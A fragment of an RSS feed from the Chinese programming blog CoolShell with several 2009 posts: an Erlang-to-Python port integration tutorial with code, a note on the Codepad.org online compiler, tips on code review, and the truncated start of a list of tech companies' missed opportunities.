isPermaLink=\"false\">http://coolshell.cn/?p=1313</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>最近开发 Erlang ,对其字符串处理能力无言至极,于是决定把它和python联合起来,打造一个强力的分布式系统,等将来需要系统级开发时,我再把 C++/C组...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1313.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1313.html\">Erlang和Python互通</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>最近开发 Erlang ,对其字符串处理能力无言至极,于是决定把它和python联合起来,打造一个强力的分布式系统,等将来需要系统级开发时,我再把 C++/C组合进来.</p>\n<p>首先参考了 Erlang 官方文档和 <a href=\"http://www.zend2.com/DoIt.php?u=Oi8vd3d3LmJsb2dnZXIuY29tL2Jsb2cuZGV2ZWxvcGVycy5hcGkuc2luYS5jb20uY24vP3RhZz1lcmxhbmc%3D&amp;b=5\">http://<cite>blog.developers.api.sina.com.cn/?tag=<strong>erlang</strong></cite></a> 以及<a href=\"http://www.zend2.com/DoIt.php?u=Oi8va2F6bWllci5uZXQvY29tcHV0ZXIvcG9ydC1ob3d0by8%3D&amp;b=5\"> http://kazmier.net/computer/port-howto/</a> .</p>\n<p>研读了将近24个小时, 才终于完全把问题解决.  起名为town，town在英文里表示集市，也就是代表各种语言在这里的交流与互动。) )<br />\n<span id=\"more-1313\"></span><br />\n[erl]-module(town).<br />\n-behaviour(gen_server).</p>\n<p>%% API<br />\n-export([start/0,combine/1]).</p>\n<p>%% gen_server callbacks<br />\n-export([init/1, handle_call/3, handle_cast/2, handle_info/2,<br />\nterminate/2, code_change/3]).<br />\n-record(state, {port}).</p>\n<p>start() -&amp;gt;<br />\n  gen_server:start_link({global, ?MODULE}, ?MODULE, [], []).<br />\nstop() -&amp;gt;<br />\n  gen_server:cast(?SERVER, stop).<br />\ninit([]) -&amp;gt;<br />\n  process_flag(trap_exit, true),<br />\n  Port = open_port({spawn, &quot;python -u /home/freefis/Desktop/town.py&quot;},[stream,{line, 1024}]),<br />\n  {ok, #state{port = Port}}.</p>\n<p>handle_call({combine,String}, _From, #state{port = Port} = State) -&amp;gt;<br />\n  port_command(Port,String),<br />\n  receive<br />\n    {Port,{data,{_Flag,Data}}} -&amp;gt;<br />\n      io:format(&quot;receiving:~p~n&quot;,[Data]),<br />\n      sleep(2000),<br />\n      {reply, Data, Port}<br />\n  end.<br />\nhandle_cast(stop, State) -&amp;gt;<br />\n  {stop, normal, State};<br />\nhandle_cast(_Msg, State) -&amp;gt;<br />\n  {noreply, State}.</p>\n<p>handle_info(Info, State) -&amp;gt;<br />\n  {noreply,State}.</p>\n<p>terminate(_Reason, Port) -&amp;gt;<br />\n  ok.</p>\n<p>code_change(_OldVsn, State, _Extra) -&amp;gt;<br />\n  {ok, State}.</p>\n<p>%%&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />\n%%% Internal &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />\ncombine(_String) -&amp;gt;<br />\n  start(),<br />\n  String = list_to_binary(&quot;combine|&quot;++_String++&quot;\\n&quot;),<br />\n  gen_server:call(?SERVER,{combine,String},infinity),<br />\n  stop().[/erl]<br />\n这段是Python的脚本 当erlang中town:combine(&#8220;sentence1+sentence2&#8221;)执行时，会在后台启动python的脚本，处理完毕后返回给Erlang结果:sentence1sentence2，然后退出。 </p>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">\nimport sys\ndef handle(_string):\n    if _string.startswith(&quot;combine|&quot;):\n        string = &quot;&quot;.join( _string[8:].split(&quot;,&quot;))\n        return string\n\n&quot;&quot;&quot;waiting for input &quot;&quot;&quot;\nwhile 1:\n    # Recv. Binary Stream as Standard IN\n    _stream = sys.stdin.readline()\n\nif not _stream: break\n    # Scheme, Turn into  Formal String\n    inString  = _stream.strip(&quot;\\r\\n&quot;)\n    # handle String\n    outString = handle(inString)\n    # send to port as Standart OUT\n    sys.stdout.write(&quot;%s\\n&quot; % (outString,))\n    sys.exit(0)</pre>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1839.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg\" alt=\"编程语言汽车\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1839.html\" class=\"wp_rp_title\">编程语言汽车</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" alt=\"Python修饰器的函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_title\">Python修饰器的函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"类型的本质和函数式实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_title\">类型的本质和函数式实现</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1313.html\">Erlang和Python互通</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1313.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>5</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>在线代码编译服务Codepad.org</title>\n\t\t<link>https://coolshell.cn/articles/1310.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1310.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 23 Aug 2009 12:14:44 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[Codepad]]></category>\n\t\t<category><![CDATA[Coding]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1310</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Codepad.org是一个很有意思的网站，它的主页很简单，左边是可以编译并执行的程序语言，右边则是让你输入程序的输入框，输入框的下面是一个“Run Code”...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1310.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1310.html\">在线代码编译服务Codepad.org</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>Codepad.org是一个很有意思的网站，它的主页很简单，左边是可以编译并执行的程序语言，右边则是让你输入程序的输入框，输入框的下面是一个“Run Code”的复选钮和一个“Submit”的提交按钮。</p>\n<p>其操作起来也非常简单，先选中你要编译并运行的程序语言，然后在输入框中粘贴或输入程序的原代码，然后，点击提交，你就可以看么你程序编译出错的提示，或是执行的结果。</p>\n<p>也许，你会觉得很无聊天，但我觉得这在某些时候会非常有用，尤其是你找不到编译器而又想验证一段代码的时候，这种时候还是比较多的。特别是我们很难有一台可以运行所有语言的电脑，如果有的话，那一定是你自己的个人电脑，当你不使用你自己的电脑时，你就会着急了。而且，我觉得这项服务非常地有意思，因为，这样一来，你甚至可以在你的手机上写任何语言的程序了。</p>\n<p><span id=\"more-1310\"></span></p>\n<p>目前这个网站支持下面这样语言——C，C++，D，Haskell，Lua，OCaml，PHP，Perl，Plain Text，Python，Ruby，Scheme，Tcl。（没有Java）</p>\n<p>当我打开这个网页的时候，我立马想到了《<a title=\"作者：耗子  --  521 次点击\" href=\"https://coolshell.cn/articles/914.html\">6个变态的C语言Hello World程序</a>》，然后就取了其中一个上去试了一下，果然方便啊。的确是相当的省事啊，不需要打开编译器或IDE，不需要建工程，不需要存成文件，太方便了。</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/08/codepad2.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-1311 aligncenter\" title=\"codepad.org执行BT的hello world\" src=\"https://coolshell.cn/wp-content/uploads/2009/08/codepad2.jpg\" alt=\"codepad.org执行BT的hello world\" width=\"604\" height=\"401\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/08/codepad2.jpg 604w, https://coolshell.cn/wp-content/uploads/2009/08/codepad2-300x199.jpg 300w, https://coolshell.cn/wp-content/uploads/2009/08/codepad2-407x270.jpg 407w\" sizes=\"(max-width: 604px) 100vw, 604px\" /></a></p>\n<p>。</p>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" alt=\"Linus：利用二级指针删除单向链表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_title\">Linus：利用二级指针删除单向链表</a></li><li ><a href=\"https://coolshell.cn/articles/8745.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"如此理解面向对象编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8745.html\" class=\"wp_rp_title\">如此理解面向对象编程</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"千万不要把 bool 设计成函数参数\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_title\">千万不要把 bool 设计成函数参数</a></li><li ><a href=\"https://coolshell.cn/articles/5201.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif\" alt=\"重构代码的7个阶段\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5201.html\" class=\"wp_rp_title\">重构代码的7个阶段</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1310.html\">在线代码编译服务Codepad.org</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1310.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>26</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Code Review中的几个提示</title>\n\t\t<link>https://coolshell.cn/articles/1302.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1302.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 20 Aug 2009 15:49:49 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[Code Review]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1302</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Code Review应该是软件工程最最有价值的一个活动，之前，本站发表过《简单实用的Code Review工具》，那些工具主要是用来帮助更有效地进行这个活动，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1302.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1302.html\">Code Review中的几个提示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-1303\" title=\"Code Reivew\" alt=\"Code Reivew\" src=\"https://coolshell.cn/wp-content/uploads/2009/08/review.jpg\" width=\"124\" height=\"88\" />Code Review应该是软件工程最最有价值的一个活动，之前，本站发表过《<a href=\"https://coolshell.cn/articles/1218.html\" rel=\"bookmark\">简单实用的Code Review工具</a>》，那些工具主要是用来帮助更有效地进行这个活动，这里的这篇文章，我们主要想和大家分享一下Code Review代码审查的一些心得。</p>\n<p>首先，我们先来看看Code Reivew的用处：</p>\n<ol>\n<li>Code reviews 中，可以通过大家的建议增进代码的质量。</li>\n<li>Code reviews  是一个传递知识的手段，可以让其它并不熟悉代码的人知道作者的意图和想法，从而可以在以后轻松维护代码。</li>\n<li>Code reviews 也鼓励程序员们相互学习对方的长处和优点。</li>\n<li>Code reviews 也可以被用来确认自己的设计和实现是一个清楚和简单的。</li>\n</ol>\n<p>你也许注意到了在上面的Code Reivew中的诸多用处中，我们没有提到可以帮助找到程序的bug和保证代码风格和编码标准。这是因为我们认为：</p>\n<p><span id=\"more-1302\"></span></p>\n<ol>\n<li><strong>Code reviews <span style=\"color: #993300;\">不应该</span>承担发现代码错误的职责</strong>。Code Review主要是审核代码的质量，如可读性，可维护性，以及程序的逻辑和对需求和设计的实现。代码中的bug和错误应该由单元测试，功能测试，性能测试，回归测试来保证的（其中主要是单元测试，因为那是最接近Bug，也是Bug没有扩散的地方）</li>\n<li><strong>Code reviews <span style=\"color: #993300;\">不应该</span>成为保证代码风格和编码标准的手段</strong>。编码风格和代码规范都属于死的东西，每个程序员在把自己的代码提交团队Review的时候，代码就应该是符合规范的，这是默认值，属于每个人自己的事情，不应该交由团队来完成，否则只会浪费大家本来就不够的时间。我个人认为“meeting”是奢侈的，因为那需要大家在同一时刻都挤出时间，所以应该用在最需要的地方。代码规范比起程序的逻辑和对需求设计的实现来说，太不值得让大家都来了。</li>\n</ol>\n<p>10年前，上面这两件事会是理所当然的（10年前的中国的软件开发还没有Code Reivew呢），今天，在中国的很多公司上面这两件事依然被认为是Code Reivew最重要的事，所以，我能够看到很多开发Team抱怨Code Review就是一个形式，费时费力不说，发现的问题还不如测试，而评审者们除了在代码风格上有些见术，别的也就没什么用了，长而久之，大家都会开始厌烦这个事了。</p>\n<p>所以，在今天，请不要把上面的那两件事分散了Code Review的注意力，取而代之的是，对于Bug，程序的作者要在Review前提交自己的单元测试报告（如：XUnit的测试结果），对于代码规范，这是程序作者自己需要保证的，而且，有一些工具是可以帮你来检查代码规范的。</p>\n<p><strong>当然，上述这些言论并不是说，你不能在Code Review中报告一个程序的bug或是一个代码规范的问题。我只是说，那并不是Code Review的意图。</strong></p>\n<p>下面是我们认为的几个小提示可以让你更好进行Code Review这项最有价值的活动。</p>\n<h4>1.- 经常进行Code Review</h4>\n<p>以前经历过几个相当痛苦的Code Review，那几次Code Review都是在程序完成的时候进行的，当你面对那近万行的代码，以前N多掺和在一起的功能，你会发现，整个Code Review变得非常地艰难，用不了一会儿，你就会发现大家都在拼命地打着哈欠，但还是要坚持，有时候，这样的Review会持续3个小时以上，相当的夸张。而且，会议上会出现相当多的问题和争论，因为，这就好像，人家都把整个房子盖好了，大家Review时这挑一点那挑一点，有时候触动地基或是承重墙体，需要大动手术，让人返工，这当然会让盖房的人一下就跳起来极力地维护自己的代码，最后还伤了团队成员的感情。</p>\n<p>所以，千万不要等大厦都盖好了再去Reivew，而且当有了地基，有了框架，有了房顶，有了门窗，有了装修，的各个时候循序渐进地进行Review，这样反而会更有效率，也更有帮助。</p>\n<p>下面是一些观点，千万要铭记：</p>\n<ul>\n<li><strong>要Review的代码越多，那么要重构，重写的代码就会越多。而越不被程序作者接受的建议也会越多，唾沫口水战也会越多。<br />\n</strong></li>\n<li><strong>程序员代码写得时候越长，程序员就会在代码中加入越来越多的个人的东西。</strong> 程序员最大的问题就是“自负”，无论什么时候，什么情况下，有太多的机会会让这种“自负”澎涨开来，并开始影响团队影响整个项目，以至于听不见别人的建议，从而让Code Review变成了口水战。</li>\n<li><strong>越接近软件发布的最终期限，代码也就不能改得太多。</strong></li>\n</ul>\n<p>我个人的习惯，并且也是对团队成员的要求是——先Review设计实现思路，然后Review设计模式，接着Review成形的骨干代码，最后Review完成的代码，如果程序复杂的话，需要拆成几个单元或模块分别Review。当然，最佳的practice是，每次Review的代码应该在1000行以内，时间不能超过一部电影的时间——1.5小时（因为据说那个一个正常人的膀胱可以容纳尿液的最长限度）</p>\n<p>当然，在敏捷开发中，他们不需要Code Reivew，其实，敏捷开发中使用更为极端的“结对编程”（Pair-Programming）的方法 —— 一种时时刻刻都在进行Code Review的方法，个人感觉在实际过程中，这种方法有点过了。另外，大家可以看看本站的另一篇文章《<a href=\"https://coolshell.cn/articles/16.html\" rel=\"bookmark\">结对编程的利与弊</a>》来了解一下这种方法的问题。</p>\n<h4>2.- Code Review不要太正式，而且要短</h4>\n<p>忘了那个代码评审的Checklist吧，走到你的同事座位跟前，像请师父一样请他坐到你的电脑面前，然后，花5分钟给他讲讲你的代码，给他另外一个5分钟让他给你的代码提提意见，这比什么都好。而如果你用了一个Checklist，让这个事情表现得很正式的话，下面两件事中必有一件事会发生：</p>\n<ol>\n<li>只有在Checklist上存在的东西才会被Review。</li>\n<li>Code Reviews 变成了一种礼节性的东西，你的同事会装做很关心你的代码，但其实他心里想着尽快地离开你。</li>\n</ol>\n<p>只有不正式的Code Review才会让你和评审者放轻松，人只有放松了，才会表现得很真实，很真诚。记住Review只不过是一种形式，而只有在相互信任中通过相互的讨论得到了有意义和有建设性的建议和意见，那才是最实在的。不然，作者和评审者的关系就会变成小偷和警察的关系。</p>\n<h4>3.- 尽可能的让不同的人Reivew你的代码</h4>\n<p>这是一个好主意，如果可能的话，不要总是只找一个人来Review你的代码，不同的人有不同的思考方式，有不同的见解，所以，不同的人可以全面的从各个方面评论你的代码，有的从实现的角度，有的从需求的角度，有的从用户使用的角度，有的从算法的角度，有的从性能效率的角度，有的从易读的角度，有的从扩展性的角度……，啊，好多啊，还让不让人活了。不管怎么说，多找一些不同的人会对你很有好处。当然，不要太多了，人多嘴杂反而适得其反，基本上来说，不要超过3个人，这是因为，这是一个可以围在一起讨论的最大人员尺寸。</p>\n<p>下面是几个优点：</p>\n<ol>\n<li>从不同的方向评审代码总是好的。</li>\n<li>会有更多的人帮你在日后维护你的代码。</li>\n<li>这也是一个增加团队凝聚力的方法。</li>\n</ol>\n<h4>4.- 保持积极的正面的态度</h4>\n<p>再说一次，程序最大的问题就是“自负”，尤其当我们Reivew别人的代码的时候，我已经见过无数的场面，程序员在Code Review的时候，开始抨击别人的代码，质疑别人的能力。太可笑了，我分析了一下，这类的程序员其实并没有什么本事，因为他们指责对方的目的是想告诉大家自己有多么的牛，靠这种手段来表现自己的程序员，其实是就是传说中所说的“半瓶水”。</p>\n<p>所以，无论是代码作者，还是评审者，都需要一种积极向上的正面的态度，作者需要能够虚心接受别人的建议，因为别人的建议是为了让你做得更好；评审者也需要以一种积极的正面的态度向作者提意见，因为那是和你在一个战壕里的战友。记住，你不是一段代码，你是一个人！</p>\n<h4>5.- 学会享受Code Reivew</h4>\n<p>这可能是最重要的一个提示了，如果你到了一个人人都喜欢Code Reivew的团阿，那么，你会进入到一个生机勃勃的地方，在那里，每个人都能写出质量非常好的代码，在那里，你不需要经理的管理，团队会自适应一切变化，他们相互学习，相互帮助，不仅仅是写出好的代码，而且团队和其中的每个人都会自动进化，最关键的是，这个是一个团队。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17757.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/04/IMG_7411-150x150.jpg\" alt=\"如何重构“箭头型”代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17757.html\" class=\"wp_rp_title\">如何重构“箭头型”代码</a></li><li ><a href=\"https://coolshell.cn/articles/11432.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/code_review-150x150.jpg\" alt=\"从Code Review 谈如何做技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11432.html\" class=\"wp_rp_title\">从Code Review 谈如何做技术</a></li><li ><a href=\"https://coolshell.cn/articles/4875.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/06/20110620115951113-150x150.gif\" alt=\"一个空格引发的惨剧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4875.html\" class=\"wp_rp_title\">一个空格引发的惨剧</a></li><li ><a href=\"https://coolshell.cn/articles/1719.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/Rubber-Duck-150x150.jpg\" alt=\"橡皮鸭程序调试法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1719.html\" class=\"wp_rp_title\">橡皮鸭程序调试法</a></li><li ><a href=\"https://coolshell.cn/articles/1218.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/08/viewtopicdetail-150x150.png\" alt=\"简单实用的Code Review工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1218.html\" class=\"wp_rp_title\">简单实用的Code Review工具</a></li><li ><a href=\"https://coolshell.cn/articles/2926.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/WTF_HTML51-150x150.jpg\" alt=\"你准备使用 HTML 5 吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2926.html\" class=\"wp_rp_title\">你准备使用 HTML 5 吗？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1302.html\">Code Review中的几个提示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1302.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>39</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>科技公司十大最愚蠢的错误</title>\n\t\t<link>https://coolshell.cn/articles/1295.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1295.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 19 Aug 2009 15:17:20 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1295</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>有一些史上最大的高科技公司的交易没有发生。有一些最有前途的产品和服务也没出现。为什么？因为这其中的人和公司当时都没有意识到是什么样的东西滑过了他们的手指，或者，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1295.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1295.html\">科技公司十大最愚蠢的错误</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><span><img decoding=\"async\" class=\"alignright\" src=\"http://images.pcworld.com/news/graphics/170337-rearview_original.jpg\" alt=\"Facebook in Yahoo's rear-view mirror\" /></span>有一些史上最大的高科技公司的交易没有发生。有一些最有前途的产品和服务也没出现。为什么？因为这其中的人和公司当时都没有意识到是什么样的东西滑过了他们的手指，或者，他们只是简单地不能预知未来会发生什么。</p>\n<p>如果事情还能再来一次，也许今天我们就不会看到Apple和Microsoft了，而且，Yahoo可能会成为世界上最大的搜索引擎，Google只能成为后者。你也许只能从施乐电脑上读这篇文章，从RealPod上听你最喜欢的频道。</p>\n<p>人们都说“事后诸葛亮”（ hindsight is 20-20，20/20是最好的视力），如果真是这样的话，那么，我们的分析就是最精确的。下面是我们挑选的历史上十大科技类公司丢失机会的案例。</p>\n<h2>1. Yahoo 错过 